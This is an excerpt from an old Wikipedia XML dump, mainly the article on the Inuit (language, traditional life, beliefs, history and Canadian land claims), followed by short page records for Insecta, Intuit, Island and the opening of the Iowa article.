''See main article for more information on the term: [[Eskimo]]''

In [[Inuktitut]], the language of the Inuit people, &quot;Inuit&quot; means &quot;the people&quot;.  The [[English language|English]] word &quot;Eskimo&quot; is a Native American word which is widely believed to mean &quot;eater of raw meat&quot; (although this meaning is disputed). Many Inuit consider the word ''Eskimo'' offensive, but it is still in general usage to refer to all Eskimo peoples, though it has fallen into disuse throughout Canada, where Canadians use the term ''Inuit''. This is in part a result of the 1977 meeting of Inuit from Greenland, Canada and Alaska representing a circumpolar population of 150,000 who chose to use the name Inuit in forming the Inuit Circumpolar Conference.

==Anthropological Analysis==
Though anthropologists no longer believe that race is a viable biological classification, they formerly classed the Inuit as members of the [[Mongoloid]] race, along with various [[Siberia|Siberian]] tribes such as the [[Yakut]], as well as the [[Chinese people|Chinese]], [[Korean people|Korean]], and [[Japanese people|Japanese]]. Their physical appearance is closer to what is generally associated with [[Asia]]n peoples than to other Native Americans, which are also members of the [[Mongoloid]] race.

Inuit have some specific characteristics which were thought to differentiate them from the [[Mongoloid]] race: [[dolichocephalic]] heads, stout bodies and dark skin are some of the specific traits which formerly placed them in a &quot;subrace&quot; of Mongoloids.
[[Image:Inuktitut dialect map.png|thumb|right|Distribution of Inuit language variants across the Arctic.]]

==Life and traditions of the Inuit people==
The Inuit were traditionally hunters and fishermen, living off of Arctic animal life.  They hunted by preference [[whale]]s, [[walrus]]es, [[caribou]] and [[seal (mammal)|seals]], although [[polar bears]], [[musk ox]]en, birds and any other edible animal might be turned to during lean years.  The Arctic has very little edible vegetation, although Inuit did supplement their diet with [[seaweed]].

Sea animals were hunted from single-passenger, covered seal-skin boats called ''qajait'' (singular ''qajaq'') which were extraordinarily buoyant, and could easily be righted by a seated person, even if completely overturned.  Because of this property, the Inuit design was copied - along with the Inuit word - by Europeans who still make and use them under the name ''[[kayak]]''.  Inuit also made ''[[Umiak|umiaq]]'' - larger, open boats made out of skins and bones for transporting people, goods and dogs.  In the winter, Inuit would also hunt sea mammals by finding, or sometimes making, the ''aglu'' (a breathing hole) in the ice and waiting for the air-breathing seals and walruses to use them when they needed air. According to Inuit tradition, they learned to do this by observing the [[polar bear]], who hunts by seeking out holes in the ice and waiting nearby.

On land, the Inuit used [[dog sled]]s (in Inuktitut, ''qamutiit'', singular ''qamutiq'') for transportation.  The ''[[Sled dog|husky]]'' dog breed comes from Inuit breeding of dogs for transportation.  A team of dogs in a fan formation (and not bound together in a line like horse teams) would pull a sled made of animal bones and skins, and in some southern areas a bit of wood, over the snow and ice.  They used landmarks to navigate, and possessed a comprehensive native system of [[toponymy]].  Where natural landmarks were insufficient, the Inuit would erect an ''[[inukshuk]]'' to compensate.

Inuit industry relied almost exclusively on animal hides and bones, although some tools were also made out of worked stones, particularly the easily-worked mineral known as ''[[soapstone]]''.  Walrus ivory was a particularly essential material, used to make knives.  Some Inuit who lived near the [[tree-line]] also had native woodworking traditions.

Inuit made clothes and footwear from animal skins, sewn together using needles made from animal bones and threads made from other animal products.  The ''[[parka]]'' is, in essence, the same garment across the Arctic - made in a similar fashion by Arctic peoples from Europe through Asia and the Americas, including by the Inuit.  The hoods of Inuit women's parkas - ''amautiit'' (singular ''amauti'', ''amaut'' or ''amautik'') in Inuktitut - were traditionally made extra large, to protect the baby from the harsh wind when snuggled against the mother's back. Styles vary from region to region, from shape of the hood to length of the tails. Boots (Inuktitut: ''kamik'' or ''[[mukluk]]'') could be made of caribou or sealskin, and designs varied for men and women.  Inuit also lived in temporary shelters made from snow in winter (the famous ''[[igloo]]''), and during the few months of the year when temperatures were above freezing, they lived in tents made of animal skins and bones.

The division of labour in traditional society had a strong gender component.  The men were traditionally hunters and fishermen. The women took care of the children, cleaned huts, sewed and cooked. However, there are numerous examples of women who learned to hunt out of necessity and more recently as a personal choice.

The marital customs among the Inuit were not strictly monogamous, many Inuit relationships were implicitly or explicitly sexually open, and polygamy, divorce and remarriage were fairly common.  Formal marriage and divorce required the approval of the community, and particularly the agreement of the elders.  Marriages were often arranged, sometimes in infancy, and occasionally forced on the couple by the community.  Marriage was expected for a man as soon as he could hunt for himself, and for women at puberty.  Family structure was flexible - a household might consist of a man and his wife or wives and children; it might include his parents or his wife's parents as well as adopted children; or it might be a larger formation of several siblings with their parents, wives and children; or even more than one family sharing dwellings and resources.  Every household had a head of household - an elder or a particularly respected man.  

There was also a larger notion of community, generally several families who shared a place where they wintered.  Goods were shared within a household, and to a lesser extent within a whole community in winter.  As with most nomadic people, there was no real conception of ownership of land - if a spot was unoccupied, all were free to hunt or camp there.  Animals belonged first to the hunter or trapper, then to his household.

Nearly all Inuit cultures have oral traditions of raids by Indians and fellow Inuit, and of taking vengeance on them in return.  Although these tales are generally regarded not as accurate historical accounts but as self-serving myths - violence against outsiders as justified revenge - it does make clear that there was a history of hostile contact between Inuit and other cultures.  In Alaska, the Inuit became accomplished raiders through constant feuding.  Given the narrow margins of survival, the advantages of supplementing one's hunt by stealing from one's neighbours seem obvious.  Even within an Inuit band, breaching traditional justice and wronging another Inuit was routinely punished by murderous vengeance, as the story of [[Atanarjuat]] shows.  Within a community, punishments were meted out by community decision, or by the elders, and a breach meant that the victim and his or her relatives could seek out restitution or revenge.

There is a pervasive belief that the Inuit left their elderly on the ice to die.  This is not genuinely true.  It is true that sometimes elderly Inuit who could no longer hunt or do other useful work might choose, or be convinced to choose, a form of assisted suicide when food was very scarce.  They were not left to die on the ice, but rather were more directly dispatched.  This practice was not universal among the Inuit - some bands never had such practices - and was only tolerated under truly desperate conditions.  Inuit communities were largely ruled by respected elders, and routine geronticide did not take place.  A far more common response to desperate conditions and the threat of starvation was [[infanticide]], which did sometimes entail abandoning an infant in hopes that someone less desperate might find and adopt it before the cold or the wildlife finished it off.

==Traditional Inuit beliefs==
:''See also [[Inuit mythology]]''

===Synopsis===
[[Image:Auroraborealissm.jpg|thumb|right|The Inuit believed that the spirits of their ancestors could be seen in the northern lights]]
The Eskimo, or Inuit, people inhabit the land stretching from southeast [[Alaska]] to [[Greenland]], an environment that heavily influenced a [[mythology]] filled with adventure tales of [[whale]] and [[walrus]] hunts. Long [[winter]] months of waiting for [[caribou]] herds or sitting near blowholes [[hunt]]ing [[fish]] and [[seal (mammal)|seals]] gave birth to stories of mysterious and sudden appearance of [[ghosts]] and fantastic creatures. The Inuit looked into the ''[[aurora borealis]]'', or [[northern lights]], to find images of their family and friends dancing in the next [[life]], and they relied upon the [[shaman]], while the nearest thing to a central deity was the Old Woman ([[Sedna (deity)|Sedna]]), who lived beneath the sea. The [[water]]s, a central food source, were believed to contain great spirits.

===Analysis===
The Inuit traditionally practiced a form of [[shamanism]] based basically on [[animist]] principles.  They believed that all things had a form of spirit, just like humans, and that to some extent these spirits could be influenced by a pantheon of supernatural entities that could be appeased when one required some animal or inanimate thing to act in a certain way.  The shaman (Inuktitut: ''angakuq'', sometimes spelled ''angakok'') of a community of Inuit was not the leader, but rather a sort of healer and psychotherapist, who tended wounds and offered advice, as well as invoking the spirits to assist people in their lives.  His or her role was to see, interpret and exhort the subtle and unseen.  Shamans were not trained, they were held to be born with the ability.  

Inuit religion was closely tied to a system of rituals that were integrated into the daily life of the people. These rituals were not terribly complicated, but they were held to be absolutely necessary.  According to a customary Inuit saying ''&quot;The great peril of our existence lies in the fact that our diet consists entirely of souls.&quot;''  By believing that all things - including animals - have souls like those of humans, any hunt that fails to show appropriate respect and customary supplication would only give the liberated spirits cause to avenge themselves.  

The harshness and randomness of life in the Arctic ensured that Inuit lived constantly in fear of the uncontrollable, where a streak of bad luck could kill an entire community.  To offend a spirit was to run the risk of having them interfere with an already marginal existence.  The Inuit plead with supernatural powers to provide them with the necessities of day-to-day survival.  As [[Knud Rasmussen]]'s Inuit guide told him when asked about Inuit religious beliefs ''&quot;We don't believe. We fear!.&quot;''

==Early history of the Inuit==
The Inuit are the descendents of what [[anthropologist]]s call the [[Thule people|Thule culture]], a nomadic people who emerged from western [[Alaska]] around [[1000]] and spread eastwards across the Arctic, displacing the related [[Dorset (culture)|Dorset culture]] (in Inuktitut, the ''Tuniit'').  Inuit legends speak of the Tuniit as &quot;giants&quot;, people who were taller and stronger than the Inuit, but who were easily scared off and retreated from the advancing Inuit. Researchers believe that the Dorset culture lacked dogs, boats and other technologies that gave the expanding Inuit society a large advantage over them.  By [[1300]], the Inuit had settled west [[Greenland]], and finally moved into east Greenland over the following century.

The Tuniit survived in [[Aivilik]] - [[Southampton Island|Southampton]] and [[Coats Island]]s - until the beginning of the [[20th century]].  They were known as ''Sadlermiut'' (''Sallirmiut'' in the modern spelling).  Their population had been decimated by diseases brought by contact with Europeans, and the last of them fell in a flu epidemic caught from a passing whaler in [[1902]].  The area has since been resettled by Inuit.  Genetic research suggests that there was little or no intermarriage between the Tuniit and the Inuit over the thousand years of contact in the Canadian Arctic.

The Inuit were a nomadic culture that circulated almost exclusively north of the [[tree-line|timberline]], the ''de facto'' southern border of Inuit society.  To the south, [[Indigenous peoples of the Americas|Native American]] Indian cultures were well established, and the culture and technology of Inuit society that served them so well in the Arctic was ill-suited to the sub-Arctic, so they did not displace their southern neighbours.  Their relations with southerners were generally hostile, but at other times cordial enough to support trade.

The first contact with Europeans came from the [[Viking]]s, who settled Greenland and explored the eastern Canadian coast.  [[Norsemen|Norse]] literature speaks of ''[[skræling]]ar'', most likely an undifferentiated label for all the native peoples of the Americas the Norse contacted - Tuniit, Inuit and [[Beothuk]]s alike.  Archeological evidence suggests that the Tuniit had abandoned Greenland around [[200]].  They reoccupied areas in the far north of Greenland sometime around [[1000]], but the Norse settlements were in the south and southwest of the island.  It is likely that the area of the Norse settlements was unoccupied at the time they arrived.

Sometime in the [[13th century]], Inuit began arriving from what is now [[Canada]].  Norse accounts are scant, and there is no Inuit oral history discussing contact with the Norse.  However, Norse-made items have been found at Inuit campsites in Greenland.  It is unclear whether they are the result of trade or plunder.  One old account speaks of &quot;small people&quot; with whom the Norsemen fought.  [[Ívar Bárðarson]]'s [[14th century]] account mentions that one of the two Norse settlement areas - the western settlement - had been taken over by the ''skrælings''.  The reason why the Norse settlements failed is unclear, but the last record of them is from [[1408]] - roughly the same period as the earliest Inuit settlements in east Greenland.

After roughly [[1350]], the climate grew colder during the [[Little Ice Age]] and the Inuit were forced to abandon hunting and whaling sites in the high Arctic.  [[Bowhead whale|Bowhead whaling]] disappeared in Canada and Greenland (but continued in Alaska) and the Inuit had to subsist on a much poorer diet.  Without whales, they lost access to essential raw materials for tools and architecture that were derived from whaling.  Although the Inuit had always been nomadic, they were forced to move more and more often to maximise their return from hunting.  Semi-permanent sod and whalebone dwellings were replaced by what has now become the symbol of the Inuit in many minds: temporary snow houses known as [[igloo]]s.

The changing climate forced the Inuit to also look south, pressuring them into the marginal niches along the edges of the tree line that Indians had not occupied, or where they were weak enough to coexist with.  It is hard to say with any precision when the Inuit stopped their territorial expansion.  There is evidence that they were still moving into new territory in southern [[Labrador]] in the [[17th century]], when they first began to interact with colonial North American civilization.

==Inuit since the arrival of Europeans==
===Canada===
The lives of Paleo-Eskimos of the far north were largely unaffected by the arrival of visiting Norsemen except for mutual trade (McGhee 1992:194). In the centuries to follow Inuit contact with explorers varied across the Arctic. Labrador Inuit have had the longest continuous contact with Europeans (Kleivan 1966:9). After the disappearance of the Norse colonies in Greenland, the Inuit had no contact with Europeans for at least a century.  By the mid-[[16th century]], [[Basque people|Basque]] fishermen were already working the Labrador coast and had established whaling stations on land.  The Inuit appear not to have interfered with their operations, but they raided the stations in winter for tools, and particularly worked iron, which they adapted to native needs.

[[Martin Frobisher]]'s [[1576]] search for the [[Northwest Passage]] was the first well-documented post-[[Christopher Columbus|Columbian]] contact between Europeans and Inuit.  Frobisher's expedition landed on [[Baffin Island]], not far from the town now called [[Iqaluit]], but long known as ''Frobisher Bay''.  This first contact went poorly.  Martin Frobisher, attempted to find the Northwest Passage. He encountered Inuit on Resolution Island. Five sailors jumped ship and became part of Inuit mythology. The homesick sailors tired of their adventure attempted to leave in a small vessel and vanished. Frobisher brought an unwilling Inuk to England, doubtless the first Inuk ever to visit Europe.  The Inuit oral tradition, in contrast, recounts the natives helping Frobisher's crewmen, who believed they had been abandoned.

The semi-nomadic eco-centred Inuit were fishers and hunters harvesting lakes, seas, ice platforms and tundra. While there are some allegations that Inuit were hostile to early French and English explorers, fishers and whalers, more recent research suggests that the early relations whaling stations along the Labrador coast and later James Bay were based on a mutual interest in trade (Mitchell 1996:49-62). In the final years of the [[18th century]], the [[Moravian church]] began missionary activities in Labrador, supported by the British who were tired of the raids on their whaling stations.  The Moravian missionaries could easily provide the Inuit with the iron and basic materials they had been stealing from whaling outposts - materials whose real cost to Europeans was almost nothing, but whose value to the Inuit was enormous - and from then on contacts in Labrador were far more peaceful.

The European arrival caused a great deal of damage to the Inuit way of life, causing mass death through new diseases introduced by whalers and explorers, and enormous social disruptions caused by the distorting effect of Europeans' material wealth.  Nonetheless, Inuit society in the higher latitudes had largely persisted in isolation in the [[19th century]]. Hudson's Bay Company opened trading posts such as  Great Whale River (1820), today called ''Kuujjuarapik'', where whale products of the commercial whale hunt were processed and furs traded. The British Naval Expedition (1821-3) led by Admiral Parry, which twice overwintered in Foxe Basin, provided the first informed, sympathetic and well-documented account of the economic, social and religious life of the Inuit. Parry stayed in Igloolik over the second winter. Parry's writings with pen and ink illustrations of Inuit everyday life (1824) and those of Lyon (1824) were widely read (D'Anglure 2002:205). Captain Comer's Inuit wife Shoofly known for her sewing skills and elegant attire (Driscoll 1980:6) was influential in convincing him to acquire more sewing accessories and beads for trade with Inuit. A few traders and missionaries circulated among the more accessible bands, and after [[1904]] they were accompanied by a handful of policemen.  But, unlike most [[Native Canadian]]s, the lands occupied by the Inuit were of little interest to European settlers.  While southerners consider the Arctic as a hostile Hinterland to the Inuit it is their Homeland. While many southerners enjoyed lucrative careers as bureaucrats and service providers in the north, very few southerners chose to retire there. In the early years of the [[20th century]], Canada, with its more hospitable lands largely settled, began to take a greater interest in its more peripheral territories, especially the fur and mineral rich hinterlands.  By the late [[1920s]], there were no longer any Inuit who had not been contacted by traders, missionaries or government agents.  

Native customs were worn down by the actions of police - who enforced Canadian criminal law on Inuit who often could not understand what they had done wrong - and by missionaries who preached a moral code very different from the one they were used to. 

[[World War II|WWII]] and the [[Cold War]] made Arctic Canada strategically important for the first time, and, thanks to the development of modern aircraft, accessible year-round.  The construction of airbases and radar stations in the [[1940s]] and [[1950s|50s]] brought more intensive contacts with European society, particularly in the form of public education, which instilled and enforced foreign values disdainful of the traditional structure of Inuit society. By 1953 Canada's Prime Minister Louis St. Laurent publicly admitted: &quot;Apparently we have administered the vast territories of the north in an almost continuing absence of mind. (Parker 1996:32)&quot; The government began to establish about forty permanent administrative centres to provide education, health and economic development services for Inuit (Parker 1996:32). Inuit from hundreds of smaller camps scattered across the north, began to congregate in these hamlets (Mitchell 1996:118). 

Furthermore, regular visits from doctors and access to modern medical care raised the birth rate enormously.  Before long, the Inuit population was beyond what traditional hunting and fishing could support.  By the mid-[[1960s]], encouraged first by missionaries, then by the prospect of paid jobs and government services, and finally forced by hunger and required by police, all Canadian Inuit lived year-round in permanent settlements.  The nomadic migrations that were the central feature of Arctic life had for the most part disappeared.  The Inuit, a once self-sufficient people in an extremely harsh environment, were in the span of perhaps two generations transformed into a small, impoverished minority lacking skills or resources to sell to the larger economy, but increasingly dependent on it for day to day survival.

Although anthropologists like [[Diamond Jenness]] (1964) were quick to predict that Inuit culture was facing extinction, Inuit political activism was already emerging as he wrote those words.  

In the [[1960s]], the Canadian government funded the establishment of secular, government-operated [[high school]]s in the [[Northwest Territories]] and Inuit areas in [[Quebec]] and [[Labrador]].  The Inuit population was not large enough to support a full high school in every community, so this meant only a few schools were built, and students from across the territories were boarded there.  These schools, in [[Iqaluit]], [[Yellowknife, Northwest Territories|Yellowknife]] and [[Kuujjuaq]], brought together young Inuit from across the Arctic in one place for the first time, and exposed them to the rhetoric of [[Civil rights|civil]] and [[human rights]] that prevailed in Canada in the [[1960s]].  This was a real wake-up call for Inuit, and it stimulated the emergence of a new generation of young Inuit activists in the late 1960s who came forward and pushed for respect for the Inuit and their territories.
 
The Inuit began to emerge as a political force in the late [[1960s]] and early [[1970s]], shortly after the first graduates returned home.  They formed new politically active associations in the early [[1970s]], starting with the [[Inuit Tapiriit Kanatami]] in [[1971]], and more region specific organisations shortly afterwards, including the [[Northern Quebec Inuit Association]] and the [[Labrador Inuit Association]].  These activist movements began to change the direction of Inuit society in [[1975]] with the [[James Bay and Northern Quebec Agreement]].  This comprehensive land claims settlement for Quebec Inuit, along with a large cash settlement and substantial administrative autonomy in the new region of [[Nunavik]], set the precedent for the settlements to follow.  The Labrador Inuit submitted their land claim in [[1977]], although they had to wait until [[2005]] to have a signed land settlement establishing [[Nunatsiavut]].

In [[1982]], the [[Tunngavik Federation of Nunavut]] (TFN) was incorporated, in order to take over negotiations for [[Aboriginal land claims|land claims]] on behalf of the Northwest Territories Inuit from the [[Inuit Tapiriit Kanatami]], which became a joint association of the Inuit of Quebec, Labrador and the Northwest Territories. 

The TFN worked for ten years and, in September [[1992]], came to a final agreement with the government of [[Canada]].  This agreement called for the separation of the Northwest Territories into an eastern territory whose only aboriginal population would be Inuit - the future [[Nunavut]] - and a rump [[Northwest Territories]] in the west.  It was the largest land-claims agreement in Canadian history.  In November [[1992]], the ''[[Nunavut Final Agreement]]'' was approved by nearly 85 percent of the Inuit of what would become Nunavut.  As the final step in this long process, the ''[[Nunavut Land Claims Agreement]]'' was signed on [[May 25]], [[1993]] in [[Iqaluit]] by [[Prime Minister of Canada|Prime Minister]] [[Brian Mulroney]] and by [[Paul Quassa]], the president of [[Nunavut Tunngavik Incorporated]], which replaced the TFN with the ratification of the Nunavut Final Agreement.  The Canadian Parliament passed the supporting legislation in June of the same year, enabling the [[1999]] establishment of [[Nunavut]] as a territorial entity.

The [[Inuvialuit]] are western Canadian Inuit who remained in the Northwest Territories when Nunavut split off.  They are officially represented by the [[Inuvialuit Regional Corporation]] and received a comprehensive land claims settlement in [[1984]], with the signature of the [[Inuvialuit Final Agreement]].

With the establishment of [[Nunatsiavut]] in 2005, all the traditional Inuit lands in Canada are now covered by some sort of land claims agreement providing for regional autonomy.

Inuit communities in Canada continue to suffer under crushing unemployment, substance abuse, crime, violence and suicide.  The problems Inuit face in the [[21st century]] should not be underestimated.  However, many Inuit are upbeat about the future.  Arguably, their situation is better than it has been since the [[14th century]].  Inuit arts - carving, print making, textiles and [[Inuit throat singing|throat singing]] - are very popular, not only in Canada but globally, and Inuit artists are widely known.  Indeed, Canada has, metaphorically, adopted the Inuit as a sort of national mascot, using Inuit symbols like the [[inukshuk]] in unlikely places, such as its use as a symbol of [[Vancouver]]'s [[Olympic Games|Olympic]] bid for [[2010]].  The Inuit language - Inuktitut - is secure in Quebec and Nunavut.  There are a surprising number of Inuit, even those who now live in urban centres such as Ottawa, Montreal and Winnipeg, who have experienced living on the land in the traditional life style. Sarah Ekoomiak, who was born in the 1930s saw her first building in Kuujuurapik when she was ten years old. Inuit culture is alive and vibrant today in spite of the negative impact of the Arctic exiles, residential schools, the TB epidemic and exiles, the paternalistic meddling in all their affairs including the current serious concerns regarding the removal of Inuit children from their homes by the CAS.

===Greenland===  
See ''[[History of Greenland]]''.

===Alaska===
''This section is in progress'' but see [[Alaska]] and [[List of Native Alaskan Tribal Entities]].

===Future prospects===
In recent years, [[circumpolar]] cultural and political groups like the [[Inuit Circumpolar Conference]] have come together to promote the Inuit and other northern people and to fight against [[ecology|ecological]] problems, such as [[global warming]], which disproportionately affects the Inuit population.  Global warming will likely also cause Arctic mammal populations to decline.

==Modern Inuit culture==
An important bi-annual event, the [[Arctic Winter Games]], is held in communities across the northern regions of the world, featuring traditional Inuit and northern sports as part of the events. A cultural event is also held. The games were first held in [[1970]], and while rotated usually among [[Alaska]], [[Yukon]] and the [[Northwest Territories]], they have also been held in [[Schefferville, Quebec|Schefferville]], [[Quebec]] in 1976, in [[Slave Lake, Alberta]], and a joint [[Iqaluit]], [[Nunavut]]-[[Nuuk]], [[Greenland]] staging in 2002.

One of the most famous Inuit artists is [[Pitseolak Ashoona]]. [[Susan Aglukark]] is a popular Canadian singer. In 2002 the feature film ''[[Atanarjuat: the Fast Runner]]'' directed by [[Zacharias Kunuk]] (with all dialogue in the Inuktitut language and written, filmed, produced, directed, and acted almost entirely by Inuit of Igloolik) was released world wide to great critical and popular acclaim. [[Jordin Tootoo]] became the first Inuk to play in the [[National Hockey League]] in the 2003-04 season, playing for the [[Nashville Predators]]. Well-known Inuit politicians include Premier [[Paul Okalik]] of Nunavut and [[Nancy Karetak-Lindell]], MP for the [[Nunavut (electoral district)|riding of Nunavut]].  Also, Mitiarjuk Attasie Nappaaluk is helping to preserve the Inuit language, Inuktitut.  She wrote the first Inuit novel.  ''(to do list: culture past and present, spirituality, customs, etc)''

In 2006, [[Cape Dorset, Nunavut]] was hailed as Canada's most artistic city, with 22% of the population employed in the arts. [http://www.cbc.ca/story/arts/national/2006/02/13/report-artistic-capedorset.html (CBC)] Inuit art such as [[soapstone]] carvings is one of Nunavut's most important industries.

== Inuit economy today ==
Today, Inuit work in all sectors of the economy, including mining, oil and gas, construction, government and administrative services. Many Inuit still supplement their income through hunting.

Tourism is a growing industry in the Inuit economy. Inuit guides take tourists on dogsled and hunting expeditions, and work with outfitting organizations. About 30 percent of Inuit derive part-time income from their sculpture, carving and print making.

The settlement of land claims in the Northwest Territories, Nunavut and Northern Quebec has given the Inuit money and a framework to develop and expand economic development activities. New emerging businesses include real estate, tourism, airlines and offshore fisheries.

==Further reading==
* Jean Briggs. ''Never in Anger''. ISBN 0674608283
* Ernest S. Burch Jr. ''The Eskimos''
* Gontran De Poncins (1941). ''[[Kabloona]]''. ISBN 1555972497
* Hans Ruesch. ''Top Of The World''. ISBN 9506371644 ([http://www.geocities.com/proppentrecker/ernenek-00.html Hebrew version])

==External links==
* [http://www.itk.ca/ Inuit Tapiriit Kanatami], Canada's National Inuit Organization
* [http://www.civilization.ca/aborig/inuvial/indexe.html The Inuvialuit]

[[Category:Inuit| ]]
[[Category:Aboriginal peoples in Quebec]]
[[Category:Aboriginal peoples in Atlantic Canada]]
[[Category:Aboriginal peoples in Canadian Territories]]
[[Category:Indigenous peoples of North America]]


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  </page>
  <page>
    <title>Insecta</title>
    <id>14585</id>
    <revision>
      <id>15912127</id>
      <timestamp>2002-06-06T21:29:19Z</timestamp>
      <contributor>
        <ip>12.246.119.53</ip>
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      <comment>--&amp;gt; [[insect]]</comment>
      <text xml:space="preserve">#REDIRECT [[insect]]</text>
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  </page>
  <page>
    <title>Intuit</title>
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      <id>27926065</id>
      <timestamp>2005-11-10T14:43:14Z</timestamp>
      <contributor>
        <ip>216.56.88.64</ip>
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      <text xml:space="preserve">{{wiktionary}}

*&quot;To '''intuit'''&quot; has the definition &quot;to know or grasp by [[intuition]] or feeling&quot;.
*[[Intuit, Inc.]], a software company.''

{{disambig}}</text>
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  </page>
  <page>
    <title>Island</title>
    <id>14587</id>
    <revision>
      <id>41882102</id>
      <timestamp>2006-03-02T09:32:12Z</timestamp>
      <contributor>
        <ip>60.225.175.170</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{otheruses}}
[[image:Island.jpg|right|thumb|400px|A small island in the [[Adriatic Sea]]]]
An '''island''' or '''isle''' is any piece of land (below an unspecified size) that is completely surrounded by water.  Very small islands are called '''[[islet]]s'''. It is also proper to call an emergent land feature on an [[atoll]] an '''islet''', since an atoll is a type of island, although this convention is seldom adhered to.  A '''key''' or '''cay''' is  another name for a relatively small island or islet. The word ''island'' derives ultimately from the [[Old English]] word ''igland''. It was originally spelled phonetically: ''iland''. The letter &quot;s&quot; was added out of a mistaken belief that the word derived from ''isle'' (&amp;lt; [[Old French]] &amp;lt; [[Latin]] ''insula'') + ''land'', although no such etymological relationship existed.

There are three main types of islands: '''continental''' islands, '''river''' islands, and '''volcanic''' islands. There are also man-made or [[artificial island]]s. A grouping of related islands is called an [[archipelago]].

== Continental islands ==
Continental islands are bodies of land that lie upon the [[continental shelf]] of a continent. Examples include [[Greenland]] and [[Sable Island]] off [[North America]], [[Barbados]] and [[Trinidad]] off [[South America]], [[Sicily]] off [[Europe]], [[Sumatra]] and [[Java (island)|Java]] off [[Asia]], [[New Guinea]] and [[Tasmania]] off [[Australia]].

A special type of continental island is the '''microcontinental island''',  which results when a continent is [[rift (geology)|rift]]ed. The best example is [[Madagascar]] off of Africa. The [[Kerguelen Islands]] and some of the [[Seychelles]] are also examples.

Another subtype is the '''[[barrier island]]''': an accumulation of [[sand]] on the continental shelf.

== River islands ==
River islands occur in [[river delta]]s and in large [[river]]s. They are caused by deposition of sediment at points in the flow where the current loses some of its carrying capacity. In essence, they are river [[bar (landform)|bars]], isolated in the stream. While some are ephemeral, and may disappear if the river's water volume or speed changes, others are stable and long-lived.

== Volcanic islands ==
Volcanic islands are built by [[volcano]]es. Mid-ocean examples are not part of any continent.  One type of volcanic island is found in a '''volcanic island arc'''. These islands arise from volcanoes  where the subduction of one plate under another is occurring. Examples include the [[Mariana Islands]], the [[Aleutian Islands]], and most of [[Tonga]] in the [[Pacific Ocean]]. Some of the [[Lesser Antilles]] and the [[South Sandwich Islands]] are the only [[Atlantic Ocean]] examples.

Another type of volcanic island occurs where an [[oceanic rift]] reaches the surface. There are two examples: [[Iceland]], which is the world's largest volcanic island, and [[Jan Mayen]]&amp;mdash;both are in the Atlantic.

A third type of volcanic island are those formed over volcanic [[Hotspot (geology)|hotspot]]s. A hot spot is more or less stationary relative to the moving [[tectonic plate]] above it, so a chain of islands results as the plate drifts. Over long periods of time, this type of island is eventually eroded down and &quot;drowned&quot; by [[isostasy|isostatic adjustment]], becoming a [[seamount]]. Plate movement across a hot-spot produces a line of islands oriented in the direction of the plate movement. An example is the [[Hawaiian Islands]], from [[Hawaii]] to [[Kure Atoll|Kure]], which then extends beneath the sea surface in a more northerly direction as the [[Emperor Seamounts]]. Another chain with similar orientation is the [[Tuamotu Archipelago]]; its older, northerly trend is the [[Line Islands]]. The southernmost chain is the [[Austral Islands]], with its northerly trending part the atolls in the nation of [[Tuvalu]]. [[Tristan da Cunha]] is an example of a hotspot volcano in the [[Atlantic Ocean]].

An [[atoll]] is an island formed from a [[coral reef]] that has grown on an eroded and submerged volcanic island. The reef rises to the surface of the water and forms a new island. Atolls are typically ring-shaped with a central [[lagoon]]. Examples include the [[Maldives]] in the [[Indian Ocean]] and [[Line Islands]] in the [[Pacific Ocean|Pacific]].

== See also ==
{{commons|Island}}
*[[List of islands]]
*[[List of islands by area]]
*[[List of islands by population]]
*[[Island nation]]
*[[Reef]]
*[[Desert island]]
*[[Tidal island]]
*[[List of artificial islands]]
*[[List of divided islands]]
*[[Skerry]]
*[[Ait]]
*[[List of fictional islands]]

==External links==
*[http://www.un.org/Depts/los/convention_agreements/texts/unclos/part8.htm Definition of island] from [[United Nations Convention on the Law of the Sea]]
*[http://islands.unep.ch/isldir.htm Listing of islands] from [[United Nations]] Island Directory. Very comprehensive listing of all islands in the world with lots of information related to environmental issues.

[[Category:Islands]]
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[[af:Eiland]]
[[ar:جزيرة]]
[[bg:Остров]]
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  <page>
    <title>Iowa</title>
    <id>14589</id>
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      <id>41978045</id>
      <timestamp>2006-03-03T00:27:29Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.203.121.10|216.203.121.10]] ([[User talk:216.203.121.10|talk]]) to last version by 209.152.92.186</comment>
      <text xml:space="preserve">{{Otheruses1|the U.S. State}}
{{US state |
  Name            = Iowa |
  Fullname        = State of Iowa |
  Flag            = Iowa state flag.png |
  Flaglink        = [[Flag of Iowa]] |
  Seal            = Iowastateseal.jpg |
  Map             = Map_of_USA_highlighting_Iowa.png |
  Nickname        = The Hawkeye State |
  Capital         = [[Des Moines, Iowa|Des Moines]] |
  OfficialLang    = [[English language|English]] |
  LargestCity     = [[Des Moines, Iowa|Des Moines]] |
  PostalAbbreviation = IA |
  Governor        = [[Thomas Vilsack]] (D)|
  Senators        = [[Chuck Grassley]] (R)
[[Tom Harkin]] (D) |
  AreaRank        = 26&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 145,743 |
  LandArea        = 144,701 |
  WaterArea       = 1,042 |
  PCWater         = 0.71 |
  PopRank         = 30&lt;sup&gt;th&lt;/sup&gt; |
  2000Pop         = 2,926,324 |
  DensityRank     = 33&lt;sup&gt;rd&lt;/sup&gt; |
  2000Density     = 20.22 |
  AdmittanceOrder = 29&lt;sup&gt;th&lt;/sup&gt; |
  AdmittanceDate  = [[December 28]], [[1846]] |
  TimeZone        = [[Central Standard Time Zone|Central]]: [[Coordinated Universal Time|UTC]]-6/[[Daylight saving time|DST]]-5 |
  Latitude        = 40°36'N to 43°30'N |
  Longitude       = 89°5'W to 96°31'W |
  Width           = 320 |
  Length          = 500 |
  HighestElev     = 509 |
  MeanElev        = 335 |
  LowestElev      = 146 |
  ISOCode         = US-IA |
  Website         = www.iowa.gov
}}
'''Iowa''' is the 29th [[U.S. state|state]] of the [[United States]], having joined the Union on [[December 28]], [[1846]]. The official name of the state is the &quot;State of Iowa&quot;, and the [[U.S. Post Office]] abbreviation for the state is '''IA'''. The state is named for the [[Native American]] [[Iowa tribe|Iowa]] people. 

== History ==
:''Main article: [[History of Iowa]].''

Highlights:
*French explorers [[Louis Joliet]] and [[Jacques Marquette]] are believed to be the first Europeans to visit Iowa.  They described Iowa as lush, [[green]], and fertile.
*Iowa has been home to approximately 17 different tribes.  Today, only the [[Meskwaki]] tribe remains. 
*The first American settlers officially moved to Iowa in June [[1833]].  Primarily, they were families from Illinois, Indiana, and Missouri. 
